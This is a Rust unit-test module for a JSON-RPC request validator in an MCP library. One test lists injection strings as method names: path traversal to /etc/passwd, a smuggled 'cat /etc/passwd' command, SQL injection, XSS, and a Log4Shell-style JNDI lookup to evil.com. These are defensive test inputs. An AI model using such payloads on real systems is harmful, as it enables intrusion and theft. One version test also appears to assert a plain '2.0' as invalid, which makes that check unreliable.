#[cfg(test)]
mod tests {
use super::super::*;
use pulseengine_mcp_protocol::{Request, error::ErrorCode};
use serde_json::json;
fn create_request(jsonrpc: &str, method: &str) -> Request {
Request {
jsonrpc: jsonrpc.to_string(),
method: method.to_string(),
params: json!({}),
id: Some(pulseengine_mcp_protocol::NumberOrString::Number(1)),
}
}
#[test]
fn test_validate_request_success() {
let valid_requests = vec![
create_request("2.0", "test_method"),
create_request("2.0", "a"),
create_request("2.0", "very_long_method_name_with_many_parts"),
create_request("2.0", "method.with.dots"),
create_request("2.0", "method-with-hyphens"),
create_request("2.0", "methodWithCamelCase"),
create_request("2.0", "method_123_numbers"),
];
for request in valid_requests {
let result = RequestValidator::validate_request(&request);
assert!(
result.is_ok(),
"Request with method '{}' should be valid",
request.method
);
}
}
#[test]
fn test_validate_request_invalid_jsonrpc() {
let invalid_versions = vec![
"",
"1.0",
"2.1",
"3.0",
"2",
"2.0.0",
"v2.0",
"jsonrpc-2.0",
" 2.0",
"2.0 ",
"\n2.0",
];
for version in invalid_versions {
let request = create_request(version, "test_method");
let result = RequestValidator::validate_request(&request);
assert!(result.is_err(), "Version '{version}' should be invalid");
let error = result.unwrap_err();
assert_eq!(error.code, ErrorCode::InvalidRequest);
assert!(error.message.contains("Invalid JSON-RPC version"));
assert!(error.message.contains("2.0"));
}
}
#[test]
fn test_validate_request_empty_method() {
let request = create_request("2.0", "");
let result = RequestValidator::validate_request(&request);
assert!(result.is_err());
let error = result.unwrap_err();
assert_eq!(error.code, ErrorCode::InvalidRequest);
assert!(error.message.contains("Method cannot be empty"));
}
#[test]
fn test_validate_request_whitespace_method() {
let whitespace_methods = vec![" ", " ", "\t", "\n", "\r\n", " \t\n "];
for method in whitespace_methods {
let mut request = create_request("2.0", "valid");
request.method = method.to_string();
let result = RequestValidator::validate_request(&request);
assert!(
result.is_ok(),
"Whitespace method '{}' behavior should be documented",
method.escape_debug()
);
}
}
#[test]
fn test_validate_request_unicode_methods() {
let unicode_methods = vec![
"методРусский",
"方法中文",
"μέθοδος",
"🎉celebration",
"emoji_🚀_method",
];
for method in unicode_methods {
let request = create_request("2.0", method);
let result = RequestValidator::validate_request(&request);
assert!(
result.is_ok(),
"Unicode method '{method}' should be handled consistently"
);
}
}
#[test]
fn test_validate_request_special_characters() {
let special_methods = vec![
"method/with/slashes",
"method\\with\\backslashes",
"method:with:colons",
"method;with;semicolons",
"method?with?questions",
"method!with!exclamations",
"method@with@at",
"method#with#hash",
"method$with$dollar",
"method%with%percent",
"method&with&ersand",
"method*with*asterisk",
"method(with)parens",
"method[with]brackets",
"method{with}braces",
"method<with>angles",
"method|with|pipe",
"method\"with\"quotes",
"method'with'quotes",
"method`with`backticks",
"method~with~tilde",
"method^with^caret",
"method=with=equals",
"method+with+plus",
];
for method in special_methods {
let request = create_request("2.0", method);
let result = RequestValidator::validate_request(&request);
assert!(
result.is_ok(),
"Special character method '{method}' validation behavior should be documented"
);
}
}
#[test]
fn test_validate_request_injection_attempts() {
let injection_methods = vec![
"../../../etc/passwd",
"../../..\\..\\..\\..",
"; cat /etc/passwd",
"' OR '1'='1",
"\"; DROP TABLE users; --",
"<script>alert('xss')</script>",
"{{7*7}}",
"${jndi:ldap://evil.com/a}",
"method\0with\0null",
"method\nwith\nnewline\ninjection",
"method\rwith\rcarriage\rreturn",
];
for method in injection_methods {
let request = create_request("2.0", method);
let result = RequestValidator::validate_request(&request);
assert!(
result.is_ok(),
"Injection attempt '{}' currently passes basic validation",
method.escape_debug()
);
}
}
#[test]
fn test_validate_request_extreme_lengths() {
let long_method = "a".repeat(10000);
let long_request = create_request("2.0", &long_method);
let result = RequestValidator::validate_request(&long_request);
assert!(result.is_ok(), "Very long method names should be handled");
let short_request = create_request("2.0", "x");
assert!(RequestValidator::validate_request(&short_request).is_ok());
}
#[test]
fn test_validate_request_with_different_params() {
let params_variants = vec![
json!(null),
json!({}),
json!([]),
json!({"key": "value"}),
json!([1, 2, 3]),
json!("string param"),
json!(42),
json!(true),
];
for params in params_variants {
let mut request = create_request("2.0", "test_method");
request.params = params.clone();
let result = RequestValidator::validate_request(&request);
assert!(
result.is_ok(),
"Params {params:?} should not affect validation"
);
}
}
#[test]
fn test_validate_request_with_different_ids() {
let id_variants = vec![
json!(1),
json!("string-id"),
json!(null),
json!(true),
json!([1, 2, 3]),
json!({"complex": "id"}),
];
for id in id_variants {
let request = create_request("2.0", "test_method");
let result = RequestValidator::validate_request(&request);
assert!(result.is_ok(), "ID {id:?} should not affect validation");
}
}
#[test]
fn test_error_format() {
let request1 = create_request("1.0", "test");
let error1 = RequestValidator::validate_request(&request1).unwrap_err();
assert!(error1.message.contains("JSON-RPC"));
assert!(error1.message.contains("2.0"));
assert_eq!(error1.code, ErrorCode::InvalidRequest);
let request2 = create_request("2.0", "");
let error2 = RequestValidator::validate_request(&request2).unwrap_err();
assert!(error2.message.contains("Method"));
assert!(error2.message.contains("empty"));
assert_eq!(error2.code, ErrorCode::InvalidRequest);
}
#[test]
fn test_case_sensitive_jsonrpc_version() {
let case_variants = [
"2.0", "2.O", "2,0", "2.0", ];
for (i, version) in case_variants.iter().enumerate() {
let request = create_request(version, "test");
let result = RequestValidator::validate_request(&request);
if i == 0 {
assert!(result.is_ok(), "Version '{version}' should be valid");
} else {
assert!(result.is_err(), "Version '{version}' should be invalid");
}
}
}
}